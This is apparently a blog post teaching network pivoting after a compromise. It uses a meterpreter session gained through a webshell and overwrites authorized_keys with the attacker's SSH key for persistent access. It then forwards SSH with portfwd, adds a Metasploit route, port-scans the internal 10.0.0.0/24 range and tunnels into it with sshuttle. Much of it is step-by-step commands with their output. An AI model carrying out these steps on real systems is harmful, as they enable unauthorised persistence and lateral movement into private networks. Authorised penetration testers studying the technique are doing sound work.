So you’re broke and you don’t own msfpro, cobalt strike or any of the other expensive tools that allow vpn pivoting. (FYI: Paying for tools like cobalt strike helps Raphael Mudge continue to keep developing free tools like Armitage)
So now that that’s out of the way lets explain the scenario.
You’ve managed to get a meterpreter session on a box via a webshell (possibly a network firewall or something else with an interface on the internal network you’re trying to own). But you hate having to use meterpreter’s portfwd and route options. They’re just too painful.
The whole of this article requires ssh access to the initial pivot point. Don’t worry if you can’t see the ssh service from your attacking box, we can bypass that using portfwd.
Here is a rough idea of how this network is set up.
The first thing to do is upload your public key to the victim box on 192.168.1.18 via your meterpreter session(you have created one haven’t you??? ssh-keygen)
FYI copying your key like this will blat out the pre-existing authorised keys, this was just a quick way i could demo it. I’m also doing this as root user, however this is NOT needed.
1 2 3 4 | meterpreter > upload .ssh/id_rsa.pub [*] uploading : .ssh/id_rsa.pub -> .ssh/id_rsa.pub [*] uploaded : .ssh/id_rsa.pub -> .ssh/id_rsa.pub meterpreter > mv .ssh/id_rsa.pub .ssh/authorized_keys |
Now you have your ssh public key on the box you’ll need to portfwd ssh on the local box back to
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | meterpreter > portfwd add -l 2222 -p 22 -r 127.0.0.1 [*] Local TCP relay created: 0.0.0.0:2222 <-> 127.0.0.1:22 meterpreter > ifconfig Interface 4 ============ Name : eth0 Hardware MAC : 00:0c:29:fe:d2:e7 MTU : 1500 Flags : UP BROADCAST RUNNING MULTICAST IPv4 Address : 192.168.1.18 IPv4 Netmask : 255.255.255.0 Interface 5 ============ Name : eth1 Hardware MAC : 00:0c:29:fe:d2:f1 MTU : 1500 Flags : UP BROADCAST RUNNING MULTICAST IPv4 Address : 10.0.0.4 IPv4 Netmask : 255.255.255.0 meterpreter > background [*] Backgrounding session 4... |
Bingo, we know it has a backend network on the range 10.0.0.0/24. We need to scan the back end network to see what devices there are:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | msf> route add 10.0.0.0 255.255.255.0 4 [*] Route added msf> route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.0.0.0 255.255.255.0 Session 4 msf> use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set RHOSTS 10.0.0.1/24 RHOSTS => 10.0.0.1/24 msf auxiliary(tcp) > set PORTS 21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389 PORTS => 21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389 msf auxiliary(tcp) > run |
So now we have a target on the backend network, in this case it’s 10.0.0.1.
Now you need to download the main part of this article….. sshuttle!
Sshuttle is a clever set of python scripts that allows you to route TCP and UDP traffic over a SSH session. You don’t need to use a root account on your SSH server and you also don’t need to manually set up each forwarded port like you would with metasploit.
It’s extremely simple to use and it’ll allow you to scan backend servers using nmap, nessus and plenty more! Woohoo, poor mans VPNPivot (over SSH) at last!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | root@kali:~# git clone git://github.com/apenwarr/sshuttle Cloning into 'sshuttle'... remote: Counting objects: 945, done. remote: Compressing objects: 100% (472/472), done. remote: Total 945 (delta 496), reused 855 (delta 426) Receiving objects: 100% (945/945), 556.89 KiB | 381 KiB/s, done. Resolving deltas: 100% (496/496), done. root@kali:~# cd sshuttle/ root@kali:~/sshuttle# ./do all Removing previously built files... do all do Documentation/all do sshuttle.8 do md-to-man do md2man.py exists. do sshuttle.md.tmp do ../version/vars do gitvars do gitvars.pre exists. do prodname exists. do prodname exists. do sshuttle.md exists. do version/all do vars exists. do _version.py do vars exists. What now? - Run sshuttle: ./sshuttle --dns -r HOSTNAME 0/0 - Read the README: less README.md - Read the man page: less Documentation/sshuttle.md Removing stamp files... root@kali:~/sshuttle# |
So now you’ve got shuttle installed and working all you need to do is connect to your local port 127.0.0.1:2222 which will then route through the meterpreter session onto the backend network. I think sshuttle only works for TCP and UDP so no arp-scanning or ICMP sweeps, please let me know if you know otherwise.
We need to check the port forward is running locally first:
1 2 | root@kali:~/sshuttle# netstat -antp | grep 2222 tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 9816/ruby |
Now run shuttle connecting to yourself on 2222:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | root@kali:~/sshuttle# ./sshuttle -vr 127.0.0.1:2222 10.0.0.0/24 Starting sshuttle proxy. Listening on ('127.0.0.1', 12300). firewall manager ready. c : connecting to server... s: latency control setting = True s: available routes: s: 10.0.0.0/24 s: 192.168.1.0/24 c : connected. Connected. firewall manager: starting transproxy. >> iptables -t nat -N sshuttle-12300 >> iptables -t nat -F sshuttle-12300 >> iptables -t nat -I OUTPUT 1 -j sshuttle-12300 >> iptables -t nat -I PREROUTING 1 -j sshuttle-12300 >> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42 >> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.0/8 -p tcp c : Accept: 192.168.1.14:51483 -> 10.0.0.1:80. c : Accept: 192.168.1.14:52351 -> 10.0.0.4:80. c : Accept: 192.168.1.14:52352 -> 10.0.0.4:80. c : Accept: 192.168.1.14:52353 -> 10.0.0.4:80. |
Boom, you should now be able to root to devices on the internal network:
To exit shuttle just simply press Ctrl-C
Any advice please just comment. Does anyone know a quicker way to upload my public ssh key via meterpreter without wiping the authorized_keys?
Final note: this example routed the entire SSH session over a meterpreter portfwd, this would work much much faster if you had direct access to the SSH service that you wanted to pivot through.
Leave a Reply
You must be logged in to post a comment.